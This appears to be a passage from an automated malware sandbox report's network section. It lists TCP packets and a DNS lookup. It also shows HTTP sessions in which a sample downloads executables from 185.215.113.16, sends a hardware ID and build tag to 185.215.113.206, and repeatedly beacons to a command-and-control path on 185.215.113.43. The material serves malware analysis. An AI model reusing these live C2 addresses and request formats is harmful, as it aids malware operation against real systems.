Dec 27, 2024 15:05:08.250710011 CET	49823	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:08.370174885 CET	80	49813	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:08.370213985 CET	80	49823	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:08.370228052 CET	49813	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:08.370285988 CET	49823	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:08.370496035 CET	49823	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:08.489960909 CET	80	49823	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:09.724128008 CET	80	49823	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:09.724215984 CET	49823	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:11.343903065 CET	49823	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:11.344187975 CET	49830	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:11.463742971 CET	80	49830	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:11.463783026 CET	80	49823	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:11.463948965 CET	49830	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:11.463948965 CET	49823	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:11.464117050 CET	49830	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:11.583679914 CET	80	49830	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:12.971137047 CET	80	49830	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:12.971232891 CET	49830	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:14.486418962 CET	49830	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:14.486735106 CET	49836	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:14.606228113 CET	80	49830	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:14.606255054 CET	80	49836	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:14.606304884 CET	49830	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:14.606334925 CET	49836	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:14.613682985 CET	49836	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:14.733345032 CET	80	49836	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:15.990806103 CET	80	49836	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:15.990884066 CET	49836	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:17.625691891 CET	49836	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:17.625966072 CET	49847	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:17.745500088 CET	80	49847	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:17.745649099 CET	49847	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:17.745678902 CET	80	49836	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:17.745733976 CET	49836	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:17.746032953 CET	49847	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:17.865483999 CET	80	49847	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:19.140022039 CET	80	49847	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:19.140306950 CET	49847	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:20.656955004 CET	49847	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:20.657316923 CET	49852	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:20.776787996 CET	80	49847	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:20.776814938 CET	80	49852	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:20.776954889 CET	49847	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:20.776977062 CET	49852	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:20.777194977 CET	49852	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:20.896635056 CET	80	49852	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:22.244468927 CET	80	49852	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:22.244611979 CET	49852	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:23.875488997 CET	49852	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:23.875915051 CET	49856	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:23.996870041 CET	80	49852	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:23.996886969 CET	80	49856	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:23.997359991 CET	49856	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:23.997361898 CET	49852	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:23.997612953 CET	49856	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:24.117225885 CET	80	49856	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:25.333187103 CET	80	49856	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:25.333252907 CET	49856	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:26.844171047 CET	49856	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:26.844384909 CET	49863	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:26.963872910 CET	80	49863	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:26.963965893 CET	49863	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:26.964086056 CET	80	49856	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:26.964133978 CET	49856	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:26.964392900 CET	49863	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:27.083914995 CET	80	49863	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:28.407337904 CET	80	49863	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:28.407413006 CET	49863	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:30.034462929 CET	49863	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:30.034751892 CET	49867	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:30.154243946 CET	80	49863	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:30.154266119 CET	80	49867	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:30.154377937 CET	49863	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:30.154545069 CET	49867	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:30.154695988 CET	49867	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:30.275409937 CET	80	49867	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:31.501276016 CET	80	49867	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:31.501554966 CET	49867	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:33.015923977 CET	49867	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:33.016257048 CET	49874	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:33.135740995 CET	80	49874	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:33.135832071 CET	80	49867	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:33.136013985 CET	49874	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:33.136014938 CET	49867	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:33.136176109 CET	49874	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:33.255552053 CET	80	49874	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:34.779071093 CET	80	49874	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:34.779206991 CET	49874	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:36.406909943 CET	49874	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:36.407305002 CET	49878	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:36.526983023 CET	80	49878	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:36.526998043 CET	80	49874	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:36.527142048 CET	49874	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:36.527194023 CET	49878	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:36.527535915 CET	49878	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:36.647070885 CET	80	49878	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:37.857748032 CET	80	49878	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:37.857975960 CET	49878	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:39.361310959 CET	49878	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:39.362315893 CET	49884	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:39.481215000 CET	80	49878	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:39.481348038 CET	49878	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:39.481827974 CET	80	49884	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:39.481929064 CET	49884	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:39.482228994 CET	49884	80	192.168.2.4	185.215.113.43
Dec 27, 2024 15:05:39.601696968 CET	80	49884	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:40.920664072 CET	80	49884	185.215.113.43	192.168.2.4
Dec 27, 2024 15:05:40.920749903 CET	49884	80	192.168.2.4	185.215.113.43

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 15:03:37.738694906 CET	53153	53	192.168.2.4	1.1.1.1
Dec 27, 2024 15:03:37.876411915 CET	53	53153	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 15:03:37.738694906 CET	192.168.2.4	1.1.1.1	0xbd28	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 15:03:37.876411915 CET	1.1.1.1	192.168.2.4	0xbd28	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:03:37.876411915 CET	1.1.1.1	192.168.2.4	0xbd28	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

185.215.113.16

185.215.113.206

185.215.113.43

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	185.215.113.16	80	6836	C:\Users\user\Desktop\o0cabS0OQn.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:04:01.994746923 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 15:04:03.412262917 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:04:02 GMT Content-Type: application/octet-stream Content-Length: 5104640 Last-Modified: Fri, 27 Dec 2024 13:02:38 GMT Connection: keep-alive ETag: "676ea56e-4de400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 f0 4d 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 4e 00 00 04 00 00 1f d6 4e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(M@ NN@M$a$$ $$@.rsrc$$@.idata $$@jvdduhrr )$)$@adcgyevyMM@.taggant0M"M@
Dec 27, 2024 15:04:03.412297010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:04:03.412307978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:04:03.412362099 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:04:03.412379980 CET	1236	IN	Data Raw: 69 4d 63 4f ac c5 62 58 98 75 ef 4e 7c 50 b9 c6 3c a4 4f c5 9c 42 89 b2 7c dd 44 4f ae c5 f1 4e 04 f1 40 0d ac dd 4c 4e ac 45 63 58 f0 40 ef 4e 29 05 d9 58 27 ba 63 c0 61 4d fd 18 7c b5 f7 5e b1 84 4f 1c 93 fa 0f fe 0f c5 d6 0b 90 b5 62 58 74 75 Data Ascii: iMcObXuN\|P<OB\|DON@LNEcX@N)X'caM\|^ObXtuN'-!J{wJLc<u<<DCbLc}P<O9-gbX@N/MIA">NNSoLc\|P<O}EZONHON5NekwOi1ZO
Dec 27, 2024 15:04:03.412394047 CET	1236	IN	Data Raw: 0f c5 82 c5 ea b7 0e 83 e0 01 10 83 e0 7c 8a 6a 84 0d b8 4e ac 7c 8a 56 84 15 b8 4e ac 7c 8a 42 84 1d b8 4e ac 7c 4a a7 4d f9 4f 4e e0 b8 d6 b6 27 88 57 c7 6a fd 8f a6 4d f4 4f 4e 25 cf c8 8e 18 c7 d6 41 29 3e d8 46 7d b5 62 58 58 76 ef 4e 27 88 Data Ascii: \|jN\|VN\|BN\|JMON'WjMON%A)>F}bXXvN'jON%SRcL~nl]]J;\|V)>F}bXXvN'jON%Rs-!L{cQ]HON5Nek3]\
Dec 27, 2024 15:04:03.412408113 CET	1236	IN	Data Raw: 7f 50 b9 d2 3c a4 4f c5 79 e1 d0 32 5e c6 d6 89 84 d9 5d 4e ac 7c 5c c8 9a d9 40 cb f7 d9 44 cd 11 e9 4f 3a bf b4 85 b1 b9 19 3d 2a ac 7c 89 6a 7c bf 62 58 30 75 ef 4e 27 8a 27 c8 ec d9 48 a6 59 c0 4f 4e 27 08 74 71 a2 c5 4f c5 94 7e e1 f6 29 50 Data Ascii: P<Oy2^]N\|\@DO:=\|j\|bX0uN''HYON'tqO~)PB)_FzbXXvN't]O]WA]OA]gA4]_ARc}bXhvN'U;Db9RN\|TNSoRc~P<OO&N!JtP<J~(iTNZQDjE"[O
Dec 27, 2024 15:04:03.412422895 CET	1236	IN	Data Raw: 6b c6 77 e1 a5 c5 4f c7 69 31 c9 8e 18 c1 f7 5a fc 8b 4f 1e 93 fa 9b df 0f c5 2c bf 25 a4 4f 1e 25 8a 67 ae b9 61 d3 2d ac 42 98 49 21 8f 4c a6 2d fe 4f 4e 27 2d d5 d3 54 50 63 ae 29 2c d8 50 27 8a 03 c8 ec d9 ba c5 11 4d c9 b1 18 f5 ff 1d 93 fa Data Ascii: kwOi1ZO,%O%ga-BI!L-ON'-TPc),P'MOa-BH!LmON'U;JZ;J;=Soq<\|nX]G),n'3DO:=*\|V\|bX0uN@P#OP]{G)_V),ZbXXvN@
Dec 27, 2024 15:04:03.412635088 CET	1236	IN	Data Raw: ac c5 d6 89 84 3d 49 4e ac 14 0c a7 ed ca 4f 4e 5f 05 74 f5 a9 c5 4f c5 69 fd 77 fd a9 c5 4f c5 69 ed 77 e5 a9 c5 4f c5 69 e9 77 ed a9 c5 4f c5 29 95 4c 4e ac 5d 3b 48 ac c5 d6 0b 10 5d d3 4b ac c5 d6 0b 1c 5d cb 4b ac c5 d6 0b 08 5d e3 4b ac c5 Data Ascii: =INON_tOiwOiwOiwO)LN];H]K]K]Kt]K`]Kl]KX]Kw\|i/)d{OA*aLNBVFpOi_\|^\|\|B/!P~Fl]GJI)A'KW\|Pz=OjU\|`kON%
Dec 27, 2024 15:04:03.412647009 CET	1236	IN	Data Raw: 25 bd 53 11 72 ac d6 ab 71 04 10 83 e0 7c b9 8e 3d a4 4f cb fe da a0 f4 34 7d 8f 4e 5f 3e d5 5b ec 76 ef 4e eb ca c7 c6 6f c5 4c 4e ac c5 0a 48 30 7d 8f 4e ac cb 4f 4e eb ca 2f c7 6f c5 4f 4e ac c5 0a 48 c8 7d 8f 4e ac c5 4f 4e 25 c2 0b dc 0f c5 Data Ascii: %Srq\|=O4}N_>[vNoLNH0}NON/oONH}NON%vI'c~KNtC)>[/L:JJ8J8L\|DNJe ?BOONG5'~B'W\|J~;~B%WONd
Dec 27, 2024 15:04:03.532378912 CET	1236	IN	Data Raw: 06 cf f7 f6 4d 84 4f 26 ec e6 8e 4e cf b5 d4 2d ac 5d ef 52 ac c5 f1 49 04 3d ad 0d ac dd 7f 6c 6f c5 2e 0f 21 a4 4f a6 61 f1 4f 4e 06 c8 f7 96 4d 84 4f 26 8c e6 8e 4e cf f1 dd 2d ac 5d 9b 52 ac c5 ce 8a 64 a3 56 26 84 e6 8e 4e 04 59 ad 0d ac 64 Data Ascii: MO&N-]RI=lo.!OaONMO&N-]RdV&NYd\|wQO.O OXGlowO$lod{CNGNL&lNdwOn. O9ONznZOB
Dec 27, 2024 15:04:19.405472994 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 15:04:19.860552073 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:04:18 GMT Content-Type: application/octet-stream Content-Length: 3209216 Last-Modified: Fri, 27 Dec 2024 13:02:46 GMT Connection: keep-alive ETag: "676ea576-30f800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@011@Wk00 @.rsrc@.idata @ysynnfor@:@lfcxdbpw00@.taggant01"0@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49745	185.215.113.206	80	3916	C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:04:21.964436054 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 27, 2024 15:04:23.308840036 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:04:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 27, 2024 15:04:23.311940908 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 32 43 39 39 41 32 34 41 41 35 31 39 31 35 33 33 34 32 33 37 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="hwid"4A2C99A24AA51915334237------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="build"stok------CBFBKFIDHIDGHJKFBGHC--
Dec 27, 2024 15:04:23.757548094 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:04:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49813	185.215.113.43	80	2164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:05:05.349739075 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 15:05:06.737324953 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:05:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49823	185.215.113.43	80	2164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:05:08.370496035 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 43 37 38 42 34 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22C78B45182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 15:05:09.724128008 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:05:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49830	185.215.113.43	80	2164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:05:11.464117050 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 15:05:12.971137047 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:05:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49836	185.215.113.43	80	2164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:05:14.613682985 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 43 37 38 42 34 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22C78B45182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 15:05:15.990806103 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:05:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49847	185.215.113.43	80	2164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:05:17.746032953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
